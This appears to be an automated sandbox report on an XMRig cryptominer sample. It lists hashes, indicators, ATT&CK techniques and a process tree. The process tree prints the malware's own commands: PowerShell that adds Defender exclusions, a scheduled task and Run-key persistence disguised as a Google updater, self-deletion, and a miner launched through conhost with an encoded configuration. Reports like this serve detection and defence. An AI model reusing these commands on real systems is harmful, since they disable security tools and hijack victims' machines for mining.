xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
389s
max time network
1793s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2332 created 1356	2332	Be5sCbvuma2nkHDa.exe	9
PID 2332 created 1356	2332	Be5sCbvuma2nkHDa.exe	9
PID 2332 created 1356	2332	Be5sCbvuma2nkHDa.exe	9
PID 2332 created 1356	2332	Be5sCbvuma2nkHDa.exe	9
PID 2936 created 1356	2936	updater.exe	9
PID 2936 created 1356	2936	updater.exe	9
PID 2936 created 1356	2936	updater.exe	9
PID 2936 created 1356	2936	updater.exe	9
PID 2724 created 1356	2724	conhost.exe	9
PID 2936 created 1356	2936	updater.exe	9

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral7/memory/2072-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2696	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2936	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2496	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral7/memory/2072-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2936 set thread context of 2724	2936	updater.exe	53
PID 2936 set thread context of 2072	2936	updater.exe	48

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Be5sCbvuma2nkHDa.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2548	schtasks.exe
1776	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1180	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a00a3b803c4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
1692	powershell.exe
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
2116	powershell.exe
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
2332	Be5sCbvuma2nkHDa.exe
2784	powershell.exe
2936	updater.exe
2936	updater.exe
1748	powershell.exe
2936	updater.exe
2936	updater.exe
1496	powershell.exe
2936	updater.exe
2936	updater.exe
2936	updater.exe
2936	updater.exe
2724	conhost.exe
2724	conhost.exe
2936	updater.exe
2936	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	2936	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1180	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1180	WMIC.exe
Token: SeSecurityPrivilege	1180	WMIC.exe
Token: SeTakeOwnershipPrivilege	1180	WMIC.exe
Token: SeLoadDriverPrivilege	1180	WMIC.exe
Token: SeSystemtimePrivilege	1180	WMIC.exe
Token: SeBackupPrivilege	1180	WMIC.exe
Token: SeRestorePrivilege	1180	WMIC.exe
Token: SeShutdownPrivilege	1180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1180	WMIC.exe
Token: SeUndockPrivilege	1180	WMIC.exe
Token: SeManageVolumePrivilege	1180	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1180	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1180	WMIC.exe
Token: SeSecurityPrivilege	1180	WMIC.exe
Token: SeTakeOwnershipPrivilege	1180	WMIC.exe
Token: SeLoadDriverPrivilege	1180	WMIC.exe
Token: SeSystemtimePrivilege	1180	WMIC.exe
Token: SeBackupPrivilege	1180	WMIC.exe
Token: SeRestorePrivilege	1180	WMIC.exe
Token: SeShutdownPrivilege	1180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1180	WMIC.exe
Token: SeUndockPrivilege	1180	WMIC.exe
Token: SeManageVolumePrivilege	1180	WMIC.exe
Token: SeLockMemoryPrivilege	2072	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2116 wrote to memory of 2548	2116	powershell.exe	32
PID 2116 wrote to memory of 2548	2116	powershell.exe	32
PID 2116 wrote to memory of 2548	2116	powershell.exe	32
PID 2696 wrote to memory of 2444	2696	cmd.exe	33
PID 2696 wrote to memory of 2444	2696	cmd.exe	33
PID 2696 wrote to memory of 2444	2696	cmd.exe	33
PID 2784 wrote to memory of 2452	2784	powershell.exe	37
PID 2784 wrote to memory of 2452	2784	powershell.exe	37
PID 2784 wrote to memory of 2452	2784	powershell.exe	37
PID 2496 wrote to memory of 2936	2496	taskeng.exe	36
PID 2496 wrote to memory of 2936	2496	taskeng.exe	36
PID 2496 wrote to memory of 2936	2496	taskeng.exe	36
PID 1496 wrote to memory of 1776	1496	powershell.exe	45
PID 1496 wrote to memory of 1776	1496	powershell.exe	45
PID 1496 wrote to memory of 1776	1496	powershell.exe	45
PID 2936 wrote to memory of 2724	2936	updater.exe	53
PID 2740 wrote to memory of 1180	2740	cmd.exe	46
PID 2740 wrote to memory of 1180	2740	cmd.exe	46
PID 2740 wrote to memory of 1180	2740	cmd.exe	46
PID 2936 wrote to memory of 2072	2936	updater.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1356
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2548
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1776
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2072
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1508
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2740
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2724

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2444

C:\Windows\system32\taskeng.exe
taskeng.exe {2F6C944B-2357-476A-9201-1473CADF52DC} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2936

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2452

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 379KB
SHA256 ae8545eb691fb5f50aeed953ce273d457907c2592b6e40381a0459002db27aad
MD5 38eb7a86313c1bd74ebccd21d5bbf60c
SHA1 a716cc6f6236f545372a4f65e49b0ef17123b197
SHA512 754b73e2c31ac4a08bb5fdb27f006de16127041722b25287e1196b8b38b2b4284e6f03d89fc87ff14e12c3b4921addd4fbc127cb89475e23d04ceacb56e4a442
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFwH8w1ml:rWVi46hyqG2ckwLxgajd0mAVwb5T3dnC
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 318KB
SHA256 c0716dcea089875ae58b121dec0fc26ed4c0e9bde07a5d3e6bcba5f4c66b4659
MD5 7b220e33e38b7b5470d0b9900baa086d
SHA1 dbda21f63fb692ffc2b6c5d093b8de335402b8bb
SHA512 11fc33159718015e2ab0ec467da68a10a9f9763b2820519b15c9eee35a8225c2ca52172a641b70feca4e763ea8f49846b8a57f94f21f1101e2d1afdcd1d9820f
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFwH4:rWVi46hyqG2ckwLxgajd0mAVwb5T3d4
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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BBN4IYMJT6AX9M67LJ9Y.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BBN4IYMJT6AX9M67LJ9Y.temp
Size 7KB
SHA256 bea90fa46179ccc0f6d5fd04250422990ed6ef3d1fa9d713f5fbe8c42b37c6d8
MD5 526989c1e5bc9fe4f8c3275c811372db
SHA1 039f52ea9d62185851fb8e788fd1713ff477a9f5
SHA512 8d3f10a3917b2ac2e03e6666f59decd4d65acbc00d34e49e6c1cb950141b56bd950c6e94df9771ad26e328e2786617c79d5d30f669269a19e2209e4117501357
SSDEEP 96:85aCNM8XnqvsqvJCwoGf/5aCNM8XnqvsEHyqvJCwor8fMO+03QHDj7SVXlUV9:kvDUoGfxvDAHnor8fMiuj7SVC
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 347KB
SHA256 3df0023f65fe7814388af2aeee802cad379580fb4783b17ebd14dbe013e5e125
MD5 37920a0383bbdf8de7e595ebaeb36f64
SHA1 e6397f7cddcb32c2750a72df528171c182983576
SHA512 46f4227adb630202817559761ca039c6b1d7942f364c93822b9d07a3f0a241bba81c2900092ed118867031eb990e6e51c1e9e74b7d9bc89b0a3f6568d3a29f57
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFwH8w1mP:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn+
MD5 SHA1 SHA512 SSDEEP

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memory/1496-56-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/1496-55-0x0000000001350000-0x00000000013D0000-memory.dmp

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memory/1496-53-0x0000000001350000-0x00000000013D0000-memory.dmp

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memory/1496-50-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/1496-54-0x0000000001350000-0x00000000013D0000-memory.dmp

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memory/1496-52-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/1496-51-0x0000000001350000-0x00000000013D0000-memory.dmp

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memory/1692-9-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/1692-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

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memory/1692-10-0x0000000002B50000-0x0000000002BD0000-memory.dmp

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memory/1692-12-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/1692-7-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

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memory/1692-8-0x0000000002B50000-0x0000000002BD0000-memory.dmp

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memory/1692-6-0x000007FEF5BF0000-0x000007FEF658D000-memory.dmp

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memory/1692-11-0x0000000002B50000-0x0000000002BD0000-memory.dmp

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memory/1748-47-0x000000000019B000-0x0000000000202000-memory.dmp

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memory/1748-49-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/1748-45-0x0000000000190000-0x0000000000210000-memory.dmp

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memory/1748-46-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/1748-48-0x0000000000190000-0x0000000000210000-memory.dmp

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memory/1748-44-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-65-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-64-0x0000000000040000-0x0000000000060000-memory.dmp

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memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-66-0x0000000000360000-0x0000000000380000-memory.dmp

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memory/2072-67-0x0000000000380000-0x00000000003A0000-memory.dmp

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memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-69-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-74-0x0000000000380000-0x00000000003A0000-memory.dmp

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memory/2072-73-0x0000000000360000-0x0000000000380000-memory.dmp

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memory/2072-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2116-18-0x000000001B500000-0x000000001B7E2000-memory.dmp

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memory/2116-19-0x00000000028A0000-0x00000000028A8000-memory.dmp

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memory/2116-21-0x00000000028B0000-0x0000000002930000-memory.dmp

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memory/2116-20-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/2116-22-0x000007FEF5250000-0x000007FEF5BED000-memory.dmp

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memory/2116-24-0x00000000028B0000-0x0000000002930000-memory.dmp

